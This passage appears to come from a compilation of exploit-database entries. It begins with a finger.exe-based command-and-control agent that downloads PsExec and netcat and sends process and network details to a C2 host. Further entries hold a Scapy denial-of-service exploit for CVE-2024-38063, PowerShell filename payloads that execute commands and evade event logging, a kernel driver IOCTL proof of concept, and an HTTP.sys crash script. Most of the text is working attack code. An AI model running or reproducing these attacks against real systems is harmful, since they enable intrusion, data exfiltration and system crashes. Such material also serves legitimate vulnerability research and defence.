    print("[+] DarkFinger-Agent.bat script is the client side component to demonstrate capabilities.")
    print("[+] Note: This is just a basic PoC with no type of real security whatsoever.")
    print("[+] Disclaimer: Author not responsible for any misuse and or damages by using this software.")


def main(args):

    global port
    print(BANNER)
    
    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)

    if args.about:
        about()
        exit()

    if args.port:
        port = int(args.port)

    if args.conf and args.delete:
        delete_base64_files()

    if args.conf:
        create_base64_files(args.conf)
    else:
        print("[!] Warn: No Base64 files created for download!, add required -c flag.")
        exit()
        
    fileppe_fingaz()


def parse_args():
    parser.add_argument("-p", "--port", help="C2 Server Port",  nargs="?")
    parser.add_argument("-c", "--conf", help="Textfile of tools to Base64 encode for download.",  nargs="?")
    parser.add_argument("-d", "--delete", nargs="?", const="1", help="Delete previously created Base64 encoded files on startup, -c required.")
    parser.add_argument("-a", "--about", nargs="?", const="1", help="Darkfinger information")
    return parser.parse_args()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    main(parse_args())




[DarkFinger-Agent.bat]
@ECHO OFF
CLS

ECHO [+] Windows TCPIP Finger CMD Agent (c)
ECHO [+] For DarkFinger C2 Server PoC
ECHO [+] By hyp3rlinx
ECHO [+] ApparitionSec
ECHO  ===================================
@ECHO.

REM Default download save location.
CD \Users\%username%\Desktop
REM Default download delay time to try an ensure full transfer.
SET  DELAY=10
SET FAIL_MSG=[!] Attempted a failed Admin operation ugh :(

net session >nul 2>&1
IF %errorLevel% == 0 (
    ECHO [+] Got Admin privileges!.
    SET  /a Admin = 0
    GOTO Init
) ELSE  (
    ECHO [!] Agent running as non-admin, if you can escalate privs re-run the agent!.
    SET /a Admin = 1
	SET  DARK_PORT=79
    GOTO CheckOutbound79
)

:Init
for /f "tokens=1-2 delims=:" %%a in ('ipconfig^|find "IPv4"') do IF NOT DEFINED LOCAL_IP set LOCAL_IP=%%b
SET LOCAL_IP=%LOCAL_IP: =%
ECHO [+] Local IP: %LOCAL_IP%
REM default for non admin as cant set Portproxy.
SET /P DARK_IP="[+] DarkFinger C2 Host/IP: "
SET /P DARK_PORT="[+] DarkFinger C2 Port: "
IF NOT %DARK_PORT%==79 (
ECHO [!] Ports other than 79 typically require a Portproxy.
GOTO AddNetshPortProxy
) ELSE (
GOTO CmdOpt
)

:CheckOutbound79
ECHO [!] Must use the default Port 79 :( good luck.
SET /P CHKPORT="[+] Check if hosts reachable? Y to continue N to abort: "
SET CHKPORT=%CHKPORT: =%
 IF /I %CHKPORT% == y (
   SET /P DARK_IP="[+] DarkFinger C2 Host/IP: "
   cmd /c powershell "$c=New-Object System.Net.Sockets.TCPClient;try{$c.Connect('%DARK_IP%','%DARK_PORT%')}catch{};if(-Not $c.Connected){echo `n'[-] Port 79 unreachable :('}else{$c.Close();echo `n'[-] Port 79 reachable :)'}"
    ECHO.
  ) ELSE (
     ECHO [!] Aborting... :(
    GOTO Close
 )
 

:CmdOpt
ECHO  1.Download PsExec64
ECHO  2.Download Nc64
ECHO  3.Exfil Tasklist
ECHO  4.Exfil IP Config
ECHO  5.Remove Netsh PortProxy
ECHO  6.Change C2 Server Port - 22 43 53 79 80 443
ECHO  7.Show Current Portproxy
ECHO  8.Change Portproxy
ECHO  9.Delete Portproxy and exit
ECHO  10.Exit Agent
@ECHO.
SET /P doit="Select option: "
IF "%doit%"=="1" GOTO PsExec64
IF "%doit%"=="2" GOTO Nc64
IF "%doit%"=="3" GOTO ExfilTasklist
IF "%doit%"=="4" GOTO ExfilIPConfig
IF "%doit%"=="5" GOTO RemNetShPortProxy
IF "%doit%"=="6" GOTO ChgC2ServerPort
IF "%doit%"=="7" GOTO ShowPortProxy
IF "%doit%"=="8" GOTO ChgPortProxy
IF "%doit%"=="9" GOTO DelProxyNClose
IF "%doit%"=="10" GOTO Close


:ChgPortProxy
IF %Admin% == 0 (
 GOTO Init
) ELSE (
ECHO %FAIL_MSG%
@ECHO.
GOTO CmdOpt
)

:PsExec64
SET Tool=PS
ECHO [-] Downloading PsExec64.exe, saving to Desktop as PS.EXE
ECHO [-] Wait...
IF %DARK_PORT%==79 (
SET IP2USE=%DARK_IP%
) ELSE (
SET IP2USE=%LOCAL_IP%
)
call finger ps%DELAY%@%IP2USE% > tmp.txt
GOTO CleanFile


:Nc64
SET Tool=NC
ECHO [-] Downloading Nc64.exe, saving to Desktop as NC.EXE
ECHO [-] Wait...
IF %DARK_PORT%==79 (
SET IP2USE=%DARK_IP%
) ELSE (
SET IP2USE=%LOCAL_IP%
)
call finger nc%DELAY%@%IP2USE% > tmp.txt
GOTO CleanFile

REM remove first two lines of tmp.txt as contains Computer name.
:CleanFile
call cmd /c more +2 tmp.txt > %Tool%.txt
GOTO RemoveTmpFile

:RemoveTmpFile
call cmd /c del %CD%\tmp.txt
GOTO B64Exe

REM Reconstruct executable from the Base64 text-file.
:B64Exe
call certutil -decode %CD%\%Tool%.txt %CD%\%Tool%.EXE 1> nul
@ECHO.
call cmd /c del %CD%\%Tool%.txt
GOTO CmdOpt

:ExfilTasklist
REM uses "." prefix to flag as incoming exfil data.
IF "%DARK_PORT%"=="79" (
SET USE_IP=%DARK_IP%
) ELSE (
SET USE_IP=%LOCAL_IP%
)
cmd /c for /f "tokens=1" %%i in ('tasklist') do finger ."%%i"@%USE_IP%
GOTO CmdOpt

:ExfilIPConfig
REM uses "." prefix to flag as incoming exfil data.
IF "%DARK_PORT%"=="79" (
SET USE_IP=%DARK_IP%
) ELSE (
SET USE_IP=%LOCAL_IP%
)
cmd /c for /f "tokens=*" %%a in ('ipconfig /all') do  finger ".%%a"@%USE_IP%
GOTO CmdOpt


:DelProxyNClose
ECHO [!] Removing any previous Portproxy from registry and exiting.
REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 /F  >nul 2>&1
ECHO [!] Exiting...
EXIT /B


:AddNetshPortProxy
SET OK=0
SET /P OK="[!] 1 to Continue:"
IF NOT %OK% EQU 1 (
 ECHO [!] Aborted...
 @ECHO.
 GOTO CmdOpt
)
ECHO [!] Removing any previous Portproxy from registry.
REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 /F  >nul 2>&1
SET LOCAL_FINGER_PORT=79
IF %DARK_PORT%==79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%LOCAL_FINGER_PORT% connectaddress=%DARK_IP% connectport=%DARK_PORT%
IF %DARK_PORT%==79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%DARK_PORT% connectaddress=%LOCAL_IP% connectport=%LOCAL_FINGER_PORT%
IF NOT %DARK_PORT% == 79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%LOCAL_FINGER_PORT% connectaddress=%DARK_IP% connectport=%DARK_PORT%
IF NOT %DARK_PORT% == 79 call cmd /c netsh interface portproxy add v4tov4 listenaddress=%LOCAL_IP% listenport=%DARK_PORT% connectaddress=%LOCAL_IP% connectport=%LOCAL_FINGER_PORT%
IF %Admin% == 0 netsh interface portproxy show all
GOTO CmdOpt

:RemNetShPortProxy
IF %Admin% == 1 (
ECHO %FAIL_MSG%
@ECHO.
GOTO CmdOpt
) ELSE (
ECHO [!] Removing NetSh PortProxy from registry.
REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 /F  >nul 2>&1
)
IF %DARK_PORT%==79 (
GOTO CmdOpt
) ELSE (
GOTO Init
)

:ShowPortProxy
netsh interface portproxy show all
GOTO CmdOpt

REM Allows agent to change the DarkFinger C2 listener port.
:ChgC2ServerPort
IF %Admin% == 1 (
ECHO %FAIL_MSG%
@ECHO.
GOTO CmdOpt
)
SET /P TMP_PORT="[+] DarkFinger listener Port: "
IF %DARK_PORT%==79 finger !%TMP_PORT%!@%DARK_IP%
IF NOT %DARK_PORT%==79 finger !%TMP_PORT%!@%LOCAL_IP%
SET DARK_PORT=%TMP_PORT%
ECHO [!] Attempted to change the DarkFinger remote Port to %TMP_PORT%.
IF NOT %DARK_PORT%==79 ECHO [!] Non default finger port used, must set a new Portproxy. (
GOTO RemNetShPortProxy
) ELSE (
GOTO CmdOpt
)

:Close
EXIT /B


[PoC Video URL]
https://www.youtube.com/watch?v=cfbwS6zH7ks

[Network Access]
Remote


[Disclosure Timeline]
September 11, 2020 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Exploit Title: Windows IPv6 CVE-2024-38063 Checker and Denial-Of-Service
# Date: 2024-08-07
# Exploit Author: Photubias
# Vendor Homepage: https://microsoft.com
# Vendor Advisory: [1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063
# Version: Windows 10, 11 <10.0.26100.1457 and Server 2016-2019-2022 <10.0.17763.6189
# Tested on: Windows 11 23H2 and Windows Server 2022
# CVE: CVE-2024-38063

import os, subprocess, re, time, sys

## Variables
sDstIP = 'fe80::78b7:6283:49ad:c565'        ## Placeholder
if len(sys.argv) > 1: sDstIP = sys.argv[1]  ## Please provide an argument
sDstMAC = '00:0C:29:55:E1:C8'               ## Not required, will try to get the MAC via Neighbor Discovery
iBatches = 20
iCorruptions = 20                           ## How many times do we want to corrupt the tcpip.sys memory per batch

try:
    print('--- Loading Scapy, might take some time ...')
    from scapy.config import conf
    conf.ipv6_enabled = False
    import scapy.all as scapy
    scapy.conf.verb = 0
except:
    print('Error while loading scapy, please run "pip install scapy"')
    exit(1)

import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)

def selectInterface(): #adapter[] = npfdevice, ip, mac
    def getAllInterfaces(): 
        lstInterfaces=[]
        if os.name == 'nt':
            proc = subprocess.Popen('getmac /NH /V /FO csv | FINDSTR /V /I disconnected', shell=True, stdout=subprocess.PIPE)
            for bInterface in proc.stdout.readlines():
                lstInt = bInterface.split(b',')
                sAdapter = lstInt[0].strip(b'"').decode()
                sDevicename = lstInt[1].strip(b'"').decode()
                sMAC = lstInt[2].strip(b'"').decode().lower().replace('-', ':')
                sWinguID = lstInt[3].strip().strip(b'"').decode()[-38:]
                proc = subprocess.Popen('netsh int ipv6 show addr "{}" | FINDSTR /I Address'.format(sAdapter), shell=True, stdout=subprocess.PIPE)
                try: sIP = re.findall(r'[\w:]+:+[\w:]+', proc.stdout.readlines()[0].strip().decode())[0]
                except: sIP = ''
                if len(sMAC) == 17: lstInterfaces.append([sAdapter, sIP, sMAC, sDevicename, sWinguID]) # When no or bad MAC address (e.g. PPP adapter), do not add
        else:
            proc = subprocess.Popen('for i in $(ip address | grep -v "lo" | grep "default" | cut -d":" -f2 | cut -d" " -f2);do echo $i $(ip address show dev $i | grep "inet6 " | cut -d" " -f6 | cut -d"/" -f1) $(ip address show dev $i | grep "ether" | cut -d" " -f6);done', shell=True, stdout=subprocess.PIPE)
            for bInterface in proc.stdout.readlines():
                lstInt = bInterface.strip().split(b' ')
                try: 
                    if len(lstInt[2]) == 17: lstInterfaces.append([lstInt[0].decode(), lstInt[1].decode(), lstInt[2].decode(), '', ''])
                except: pass
        return lstInterfaces
    
    lstInterfaces = getAllInterfaces()
    if len(lstInterfaces) > 1:
        i = 1
        for lstInt in lstInterfaces: #array of arrays: adapter, ip, mac, windows devicename, windows guID
            print('[{}] {} has {} ({})'.format(i, lstInt[2], lstInt[1], lstInt[0]))
            i += 1
        #sAnswer = input('[?] Please select the adapter [1]: ')
        sAnswer='3'
    else: sAnswer = None
    if not sAnswer or sAnswer == '' or not sAnswer.isdigit() or int(sAnswer) >= i: sAnswer = 1
    iAnswer = int(sAnswer) - 1
    sNPF = lstInterfaces[iAnswer][0]
    sIP = lstInterfaces[iAnswer][1]
    sMAC = lstInterfaces[iAnswer][2]
    if os.name == 'nt': sNPF = r'\Device\NPF_' + lstInterfaces[iAnswer][4]
    return (sNPF, sIP, sMAC, lstInterfaces[iAnswer][3])

def get_packets(iID, sDstIPv6, sDstMac=None):
    iFragID = 0xbedead00 + iID
    oPacket1 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrDestOpt(options=[scapy.PadN(otype=0x81, optdata='bad')])
    oPacket2 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrFragment(id=iFragID, m = 1, offset = 0) / 'notalive'
    oPacket3 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrFragment(id=iFragID, m = 0, offset = 1)
    if sDstMac: ## Should always be this, it seems sending to 'ff:ff:ff:ff:ff:ff' does not work
        oPacket1 = scapy.Ether(dst=sDstMac) / oPacket1
        oPacket2 = scapy.Ether(dst=sDstMac) / oPacket2
        oPacket3 = scapy.Ether(dst=sDstMac) / oPacket3
    return [oPacket1, oPacket2, oPacket3]

def doIPv6ND(sDstIP, sInt): ## Try to get a MAC address via IPv6 Neighbour Sollicitation
    sMACResp = None
    oNeighborSollicitation = scapy.IPv6(dst=sDstIP) / scapy.ICMPv6ND_NS(tgt=sDstIP) / scapy.ICMPv6NDOptSrcLLAddr(lladdr='ff:ff:ff:ff:ff:ff')
    oResponse = scapy.sr1(oNeighborSollicitation, timeout=5, iface=sInt)
    if oResponse and scapy.ICMPv6NDOptDstLLAddr in oResponse:
        sMACResp = oResponse[scapy.ICMPv6NDOptDstLLAddr].lladdr
    return sMACResp

lstInt = selectInterface() ## NPF, IPv6, MAC, Name

sMAC = doIPv6ND(sDstIP, lstInt[0])
if sMAC: 
    print(f'[+] Target {sDstIP} is reachable, got MAC Address {sMAC}')
    sDstMAC = sMAC
elif sDstMAC != '':
    print('[-] Target not responding to Neighbor Sollicitation Packets, using the provided MAC {}'.format(sDstMAC))
else: 
    print('[-] Without a MAC address, this exploit will probably not work')

lstPacketsToSend = []
for i in range(iBatches):
    for j in range(iCorruptions):
        lstPacketsToSend += get_packets(j, sDstIP, sDstMAC) + get_packets(j, sDstIP, sDstMAC)

## 'send' is Layer3 (let scapy figure out the MAC address), 'sendp' is L2 (MAC address is filled in, much better)
print('[i] Verifying vulnerability against IPv6 address {}'.format(sDstIP))
## Verification first: "ICMPv6ParamProblem"
lstResp = scapy.srp1(lstPacketsToSend[0], iface=lstInt[0], timeout=5)
if lstResp and scapy.IPv6 in lstResp[0] and scapy.ICMPv6ParamProblem in lstResp[0]: 
    print('[+] Yes, {} is vulnerable and exploitable for CVE-2024-38063'.format(sDstIP))
else: 
    input('[-] Not vulnerable or firewall is enabled. Please verify and rerun or press enter to continue')
print('[i] Waiting 10 seconds to let the target cool down (more is better)')
time.sleep(10)
input('[?] OK, continue to execute the Denial Of Service (BSOD)? Press Ctrl+C to cancel now')
########## Exploit
print('[+] Sending {} packets now via interface {} {}'.format(len(lstPacketsToSend), lstInt[0], lstInt[3]))
scapy.conf.verb = 1
scapy.sendp(lstPacketsToSend, iface=lstInt[0])
print('[+] All packets are sent, now it takes *exactly* 60 seconds for the target to crash')
            
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WINDOWS_POWERSHELL_SINGLE_QUOTE_CODE_EXEC_EVENT_LOG_BYPASS.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.microsoft.com


[Product]
Microsoft Windows PowerShell

Built on the . NET Framework, Windows PowerShell helps IT professionals and power users control and automate the administration of the Windows operating system and applications that run on Windows.


[Vulnerability Type]
PowerShell Single Quote Code Execution / Event Log Bypass


[CVE Reference]
N/A


[Security Issue]
In past times I disclosed how PowerShell executes unintended files or BASE64 code when processing specially crafted filenames.
This research builds on my "PSTrojanFile" work, adding a PS command line single quote bypass and PS event logging failure.
On Windows CL tab completing a filename uses double quotes that can be leveraged to trigger arbitrary code execution.
However, if the filename gets wrapped in single quotes it failed, that is until now.

[Single Quote Code Exec Bypass]
Combining both the semicolon ";" and ampersand "&" characters, I found it bypasses the single quote limitation given a malicious filename.
The trailing semicolon ";"  delimits the .XML extension and helps trigger the PE file specified in the case DOOM.exe and the PS event log gets truncated.

Take the following three test cases using Defender API which takes a specially crafted filename.
C:\>powershell Set-ProcessMitigation -PolicyFilePath  "Test;saps DOOM;.xml"

1) Double quotes OK
"Test;saps DOOM;.xml" 

2) Single quotes FAILS
'Test;saps DOOM;.xml'

3) Single quotes BYPASS
'Test&DOOM;.xml'

PowerShell API calls that prefix the "powershell" cmd is a requirement and may affect many built-in PS API or module commands.
C:\Users\gg\Downloads\>powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

Malware.exe lives in Downloads dir, notice how we only need a partial name as part of the .ZIP archive filename we are scanning here
and that it also excludes the .EXE portion in that filename.


[PS Event Log Bypass]
On Windows PowerShell event logging can be enabled to alert a SOC on suspicious activity and or for incident response forensic artifact purposes.
However, when bypassing PS single quotes I noticed an interesting side effect. The ampersand "&" character seems to truncate the PS event log.
Example, processing 'Infected&Malware;.zip' the Event ID 403 logs 'infected' and not the true name of 'Malware.exe' which was actually executed.

Want to mask the true name of the file from PowerShell Event logging? (Malware.exe lives in the same directory)
C:\>powershell Get-Filehash  'Infected&Malware;.zip'  -algorithm MD5

Below the event log HostApplication contains 'infected' and not the true name of Malware.exe that was actually executed due to truncating.

[PS Log ID 403 Snippet]
Engine state is changed from Available to Stopped. 

Details: 
	NewEngineState=Stopped
	PreviousEngineState=Available

	SequenceNumber=25

	HostName=ConsoleHost
	HostVersion=5.1.19041.1682
	HostId=fecdc355-0e89-4d4c-a31d-7835cafa44f0
	HostApplication=powershell get-filehash 'Infected
	EngineVersion=5.1.19041.1682


[Exploit/POC]
powershell Get-Filehash  'Infected&Malware;.zip'  -algorithm MD5

Run some malware plus bypass logging of true file name:
C:\Users\gg\Downloads>powershell get-filehash  'Infected&Malware;.zip'  -algorithm  md5
PE file Malware.exe in the Downloads directory, notice the .zip we are scanning doesn't include .exe in the filename.

Defender Anti-Malware API:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

Call ping cmd using double "&":
C:\>powershell Get-Filehash  'powerfail&ping 8.8.8.8&.txt'  -algorithm  md5

Call a Windows cmd to Logoff the victim:
C:\>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

We have options:

A) to call commands use double "&" --> 'virus&logoff&test.zip'
B) bypass PS event logging of the true file name and execute code use "&" with ";" --> 'Infected&Malware;.zip'


[References]
https://github.com/hyp3rlinx/PSTrojanFile
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_DEFENDER_ANTI_MALWARE_POWERSHELL_API_UNINTENDED_CODE_EXECUTION.txt
https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt


[Network Access]
Local


[Severity]
High


[Disclosure Timeline]
Vendor Notification: circa 2019
December 27, 2023 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
# Exploit Title: Windows MultiPoint Server 2011 SP1 - RpcEptMapper and Dnschade Local Privilege Escalation
# Date: 11/11/2021
# Exploit Author: it
# Vendor Homepage: https://www.microsoft.com
# Software Link: https://www.microsoft.com/pt-br/download/details.aspx?id=8518
# Version: Version 6.1 Compilation 7601 Service Pack 1
# Tested on: Microsoft Windows MultiPoint Server 2011 - English Version

Description
Service Local Privilege Escalation - Windows MultiPoint Server 2011 SP1 - RpcEptMapper and Dnschade

Vulnerable: |Service Local Privilege Escalation - Windows MultiPoint Server 2011 SP1 - RpcEptMapper and Dnscache

Vulnerability Type: Privilege Escalation

Tested on: Microsoft Windows MultiPoint Server 2011 - Version 6.1 Compilation 7601 Service Pack 1

Language OS: English

The Vulnerability

Clément wrote a very useful permissions-checking tool for Windows that
find various misconfigurations in Windows that could allow a local
attacker to elevate their privileges. On a typical Windows 7 and
Server 2008 R2 machine, the tool found that all local users have write
permissions on two registry keys:

HKLM\SYSTEM\CurrentControlSet\Services\Dnscache

HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

These didn't immediately seem exploitable, but Clément did the legwork
and found the Windows Performance Monitoring mechanism can be made to
read from these keys - and eventually load the DLL provided by the
local attacker. To most everyone's surprise, not as the local user,
but as Local System.

In short, a local non-admin user on the computer just creates a
Performance subkey in one of the above keys, populates it with some
values, and triggers performance monitoring, which leads to a Local
System WmiPrvSE.exe process loading attacker's DLL and executing code
from it.

About Artiche: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
I detected that in another version of windows it is also vulnerable,
Windows Multipoint 2011, which can affect customers who use extended
license;

I can't say if there are any other vulnerable unpublished versions
besides the ones I've posted here

How to Produce Exploitation

Compile Exploit Perfusion in Visual Studio 2019 - Open Project, Make
Release x64 and Compile.

Is necessary install microsoft visual c++ redistributable on Windows
MultiPoint 2011 for execute exploit

The exploit Add Subkeys in

HKLM\SYSTEM\CurrentControlSet\Services\Dnscache

HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance

Library = Name of your performance DLL

Open = Name of your Open function in your DLL

Collect = Name of your Collect function in your DLL

Close = Name of your Close function in your DLL

and Exploit Write payload dll hijacking, call dll with permission SYSTEM using WMI

Tools and Exploit:
https://github.com/itm4n/PrivescCheck

Exploit:
https://github.com/itm4n/Perfusion
            
// Exploit Title: Windows 11 22h2 - Kernel Privilege Elevation
// Date: 2023-06-20
// country: Iran
// Exploit Author: Amirhossein Bahramizadeh
// Category : webapps
// Vendor Homepage:
// Tested on: Windows/Linux
// CVE : CVE-2023-28293

#include <windows.h>
#include <stdio.h>

// The vulnerable driver file name
const char *driver_name = "vuln_driver.sys";

// The vulnerable driver device name
const char *device_name = "\\\\.\\VulnDriver";

// The IOCTL code to trigger the vulnerability
#define IOCTL_VULN_CODE 0x222003

// The buffer size for the IOCTL input/output data
#define IOCTL_BUFFER_SIZE 0x1000

int main()
{
    HANDLE device;
    DWORD bytes_returned;
    char input_buffer[IOCTL_BUFFER_SIZE];
    char output_buffer[IOCTL_BUFFER_SIZE];

    // Load the vulnerable driver
    if (!LoadDriver(driver_name, "\\Driver\\VulnDriver"))
    {
        printf("Error loading vulnerable driver: %d\n", GetLastError());
        return 1;
    }

    // Open the vulnerable driver device
    device = CreateFile(device_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (device == INVALID_HANDLE_VALUE)
    {
        printf("Error opening vulnerable driver device: %d\n", GetLastError());
        return 1;
    }

    // Fill the input buffer with data to trigger the vulnerability
    memset(input_buffer, 'A', IOCTL_BUFFER_SIZE);

    // Send the IOCTL to trigger the vulnerability
    if (!DeviceIoControl(device, IOCTL_VULN_CODE, input_buffer, IOCTL_BUFFER_SIZE, output_buffer, IOCTL_BUFFER_SIZE, &bytes_returned, NULL))
    {
        printf("Error sending IOCTL: %d\n", GetLastError());
        return 1;
    }

    // Print the output buffer contents
    printf("Output buffer:\n%s\n", output_buffer);

    // Unload the vulnerable driver
    if (!UnloadDriver("\\Driver\\VulnDriver"))
    {
        printf("Error unloading vulnerable driver: %d\n", GetLastError());
        return 1;
    }

    // Close the vulnerable driver device
    CloseHandle(device);

    return 0;
}

BOOL LoadDriver(LPCTSTR driver_name, LPCTSTR service_name)
{
    SC_HANDLE sc_manager, service;
    DWORD error;

    // Open the Service Control Manager
    sc_manager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (sc_manager == NULL)
    {
        return FALSE;
    }

    // Create the service
    service = CreateService(sc_manager, service_name, service_name, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, driver_name, NULL, NULL, NULL, NULL, NULL);
    if (service == NULL)
    {
        error = GetLastError();
        if (error == ERROR_SERVICE_EXISTS)
        {
            // The service already exists, so open it instead
            service = OpenService(sc_manager, service_name, SERVICE_ALL_ACCESS);
            if (service == NULL)
            {
                CloseServiceHandle(sc_manager);
                return FALSE;
            }
        }
        else
        {
            CloseServiceHandle(sc_manager);
            return FALSE;
        }
    }

    // Start the service
    if (!StartService(service, 0, NULL))
    {
        error = GetLastError();
        if (error != ERROR_SERVICE_ALREADY_RUNNING)
        {
            CloseServiceHandle(service);
            CloseServiceHandle(sc_manager);
            return FALSE;
        }
    }

    CloseServiceHandle(service);
    CloseServiceHandle(sc_manager);
    return TRUE;
}

BOOL UnloadDriver(LPCTSTR service_name)
{
    SC_HANDLE sc_manager, service;
    SERVICE_STATUS status;
    DWORD error;

    // Open the Service Control Manager
    sc_manager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (sc_manager == NULL)
    {
        return FALSE;
    }

    // Open the service
    service = OpenService(sc_manager, service_name, SERVICE_ALL_ACCESS);
    if (service == NULL)
    {
        CloseServiceHandle(sc_manager);
        return FALSE;
    }

    // Stop the service
    if (!ControlService(service, SERVICE_CONTROL_STOP, &status))
    {
        error = GetLastError();
        if (error != ERROR_SERVICE_NOT_ACTIVE)
        {
            CloseServiceHandle(service);
            CloseServiceHandle(sc_manager);
            return FALSE;
        }
    }

    // Delete the service
    if (!DeleteService(service))
    {
        CloseServiceHandle(service);
        CloseServiceHandle(sc_manager);
        return FALSE;
    }

    CloseServiceHandle(service);
    CloseServiceHandle(sc_manager);
    return TRUE;
}
            
## Title: Windows 11 10.0.22000 -  Backup service Privilege Escalation
## Author: nu11secur1ty
## Date: 01.13.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/software-download/windows11
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752

## Description:
Windows 11 Pro build 10.0.22000 Build 22000 suffers from  Backup
service - Privilege Escalation vulnerability.
An attacker who successfully exploited this vulnerability could gain
SYSTEM privileges.
and could delete data that could include data that results in the
service being unavailable.


## STATUS: HIGH Vulnerability - CRITICAL

[+] Exploit:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752/PoC)

## Reference:
[href](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752)

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752/PoC)

## Proof and Exploit:
[href](https://streamable.com/f2dl3m)



-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html https://0day.today/
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
            
## Title: Windows 10 v21H1 - HTTP Protocol Stack Remote Code Execution
## Author: nu11secur1ty
## Date: 01.14.2022
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/download/details.aspx?id=48264
## Reference: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907
## CVE-2022-21907


## Description:
NOTE: After a couple of hours of tests and experiments, I found that
there have been no vulnerabilities, this is just a ridiculous
experiment of Microsoft. When I decided to install the IIS packages on
these Windows platforms, everything was ok, and everything is patched!
Windows Server 2019, Windows 10 version 1809 - 2018 year are not
vulnerable by default, but after I decided to upgrade from 1909 to
2004. I found a serious problem! The Windows 10 version 2004 - 2020
year is still vulnerable to the HTTP Protocol Stack (HTTP.sys). Attack
method: buffer overflow - deny of service and restart the system. This
problem exists, from last year which is reported on CVE-2021-31166,
and still there! On that days I have worked on it again with the help
and collaboration of Axel Souchet 0vercl0k the author of the idea. On
that day, I wrote an only one-line command to exploit this
vulnerability!

[+]Exploit:
```python
#!/usr/bin/python
# Author @nu11secur1ty
# CVE-2022-21907

from colorama import init, Fore, Back, Style
init(convert=True)
import requests
import time

print(Fore.RED +"Please input your host...\n")
print(Style.RESET_ALL)

print(Fore.YELLOW)
host = input()
print(Style.RESET_ALL)

print(Fore.BLUE +"Sending of especially malicious crafted packages,
please wait...")
print(Style.RESET_ALL)
time.sleep(17)

print(Fore.GREEN)
# The PoC :)
poc = requests.get(f'http://{host}/', headers = {'Accept-Encoding':
'AAAAAAAAAAAAAAAAAAAAAAAA,\
	 BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S,\
	 RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF,\
	 TTYCTCTTTCGFDSGAHDTUYGKJHJLKJHGFUTYREYUTIYOUPIOOLPLMKNLIJOPKOLPKOPJLKOP,\
	 OOOAOAOOOAOOAOOOAOOOAOOOAOO,\
	 ****************************stupiD, *, ,',})
# Not necessary :)
print(poc,"\n")
print(Style.RESET_ALL)
```

## Reproduce:
